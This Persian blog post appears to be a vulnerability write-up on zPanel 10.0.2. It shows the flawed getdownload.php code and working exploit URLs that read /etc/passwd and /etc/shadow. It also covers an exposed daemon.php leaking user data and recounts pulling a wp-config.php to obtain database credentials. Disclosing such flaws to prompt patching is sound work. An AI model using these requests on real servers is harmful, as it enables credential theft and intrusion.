چند روز پیش داشتم سایتی رو چک می کردم برای مشکلات امنیتیش. زیر دامنه ها رو چک کردم که یکیش صفحه ورود کنترل پنل میزبانی رو می آورد.
بارها و بارها به دوستان و کلاینت ها گفتم که قدم اول هکرها جمع آوری اطلاعاته و سعی کنند که کمترین میزان اطلاعات در اختیار یک هکر قرار بگیره. در این مورد خیلی واضح نرم افزار و نسخه کنترل پنل نوشته شده بود: zpanel 10.0.2
یه جستجوی کوچیک من رو رسوند به نتیجه بررسی های قبلی روی این نسخه و یک ضعف امنیتی خطرناک که عمومی هم شده. بذارید با هم مرور بکنیم مشکل رو تا ببینیم که چه اشتباهات بچگانه و خطرناکی ممکنه توی برنامه نویسی رخ بده.
zpanel یک ماژول داره برای بک آپ گرفتن که این ماژول یه فایل داره برای دانلود فایل های روی سرور. احتمالا برای اینکه ادمین بتونه فایل های بک آپ رو دانلود کنه.
1 | http://www.target-server.com/modules/backupmgr/code/getdownload.php |
بذارید یه نگاه به متن فایل getdownload.php بندازیم:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | <?php if (isset($_GET['file']) && $_GET['file'] != "" && file_exists($_GET['file']) && !strpos($_GET['file'], '/')) { $filename = $_GET['file']; // required for IE, otherwise Content-disposition is ignored if (ini_get('zlib.output_compression')) { ini_set('zlib.output_compression', 'Off'); } header($_SERVER['SERVER_PROTOCOL'] . ' 200 OK'); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private", false); // required for certain browsers header("Content-Type: application/zip"); header("Content-Disposition: attachment; filename=" . basename($filename) . ""); header("Content-Transfer-Encoding: binary"); header("Content-Length: " . filesize($filename) . ""); readfile_chunked($filename); //unlink($filename); exit(); } function readfile_chunked($filename) { $chunksize = 1 * (1024 * 1024); $buffer = ''; $handle = fopen($filename, 'rb'); if ($handle === false) { return false; } while (!feof($handle)) { $buffer = fread($handle, $chunksize); print $buffer; } return fclose($handle); } ?> |
کامنت ها رو از متن حذف کردم که زیاد شلوغ نباشه. در متن می بینید که با یه دستور شرطی چک می کنه که اگر با متغیر file آدرس فایل وارد شده و اون فایل وجود داره، دستور می ده به یه فانکشن که فایل رو در اختیار کاربر بذاره.
به قول اون ور آبیا WTF
الان کافیه شناختی از ساختار فایل ها و فولدرهای سرور داشته باشیم و یا یکی از سایت های روی سرور مشکلی داشته باشه که مسیر اصلی فایل ها رو نشون بده تا بتونیم هر فایلی رو که می خوایم دانلود کنیم.
بذارید بریم سر اصل قضیه: یوزر و پسورد سرور. در سرورهای لینوکسی، نام کاربری و پسورد ها رو می شه در فایل های passwd و shadow پیدا کرد. البته به صورت هش شده. (وارد جزییات تنظیمات سرور نمی شم چون یه بحث مجزاست)
1 2 3 | http://www.target-server.com/modules/backupmgr/code/getdownload.php?file=/etc/passwd http://www.target-server.com/modules/backupmgr/code/getdownload.php?file=/etc/shadow |
همچنین از این آدرس می تونید یه اسکریپت به زبان پایتون بگیرید که به صورت اتوماتیک بک آپ های سرور رو براتون دانلود کنه. دیگه چی می خوایم واقعا؟
مشکل دیگه ای که این نسخه داره، دسترسی آزاد به فایل daemon.php است که باعث می شه هکرها به اطلاعات حساسی مثل نام های کاربری، دسترسی هاشون و سایت هایی که روی سرور قرار دارند دست پیدا کنه.
1 | http://www.taregt-server.com/bin/daemon.php |
یه نمونه از خروجی اجرای این فایل رو می تونید اینجا ببینید:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | Daemon is now running... START Apache Config Hook. Apache Admin module ENABLED... Apache Config has NOT changed...nothing to do. END Apache Config Hook. START DNS Manager Hook DNS Manager module ENABLED... DNS Records have not changed...nothing to do. END DNS Manager Hook. START MySQL Databases hook Calculating the total size of all MySQL databases.... END MySQL Databases hook START Calculating disk Usage for all client accounts.. Disk usage for user "zadmin" is: 32207149120 (31.5 GB) Disk usage for user "web-admin" is: 0 (0 bytes) Disk usage for user "****" is: 0 (0 bytes) Disk usage for user "****" is: 0 (0 bytes) Disk usage for user "****" is: 0 (0 bytes) Disk usage for user "****" is: 0 (0 bytes) END Calculating disk usage START Calculating bandwidth usage for all client accounts.. Processing domain "****" Generating bandwidth.. usage: 4869238 (4.8 MB) [...] END Calculating bandwidth usage BEGIN Webalizer Stats Generating webalizer stats html... Generating stats for: zadmin/**** Webalizer V2.21-02 (Linux 2.6.32-358.18.1.el6.x86_64 x86_64) English Using logfile /var/zpanel/logs/domains/zadmin/****-access.log (clf) Creating output in /etc/zpanel/panel/modules/webalizer_stats/stats/zadmin/**** Hostname for reports is '****' Reading history file... webalizer.hist Generating report for August 2013 Generating report for September 2013 Generating report for October 2013 Saving history information... Generating summary report 5638368 records (1751 bad) in 16 seconds, 352398/sec [...] END Webalizer Stats Daemon run complete! |
در اطلاعات بالا به جای دامنه ها ستاره گذاشتم که مشکلی برای سایت پیش نیاد.
از اینجا به بعد دیگه برمی گرده به توانایی و خلاقیت هکر که می خواد چطور جلو بره و تا کجا پیش بره. مثلا در همین مورد خاص روی این سرور یک سایت وردپرسی وجود داشت که با دونستن مسیر قرار گیری فایل wp-config.php، اون رو دانلود کردم و نام کاربری و پسورد MySQL رو به دست آوردم که می تونم باهاش به دیتابیس سرور کانکت بشم (در صورتیکه ورود رو به localhost محدود نکرده باشن) و مشخصات کاربرهای اون سایت رو به دست بیارم.
می بینید که یه اشتباه در بررسی نکردن ورودی ها و یا عدم تنظیم درست Permission ها برای اجرای یک فایل می تونه چه تبعاتی داشته باشه.
خب همین الان برید نسخه کنترل پنل هاست رو چک کنید و اگه ضعف شناخته شده داشت یا به روز نبود از سرویس دهنده بخواید که کاریکه وظیفه اش است رو انجام بده.
پ ن: این پست فقط در جهت نشان دادن ضعف های Zpanel 10.0.2 است و ترغیب برای برطرف کردن مشکلات. لطفا از این مورد برای آسیب رساندن به دیگران استفاده نکنید.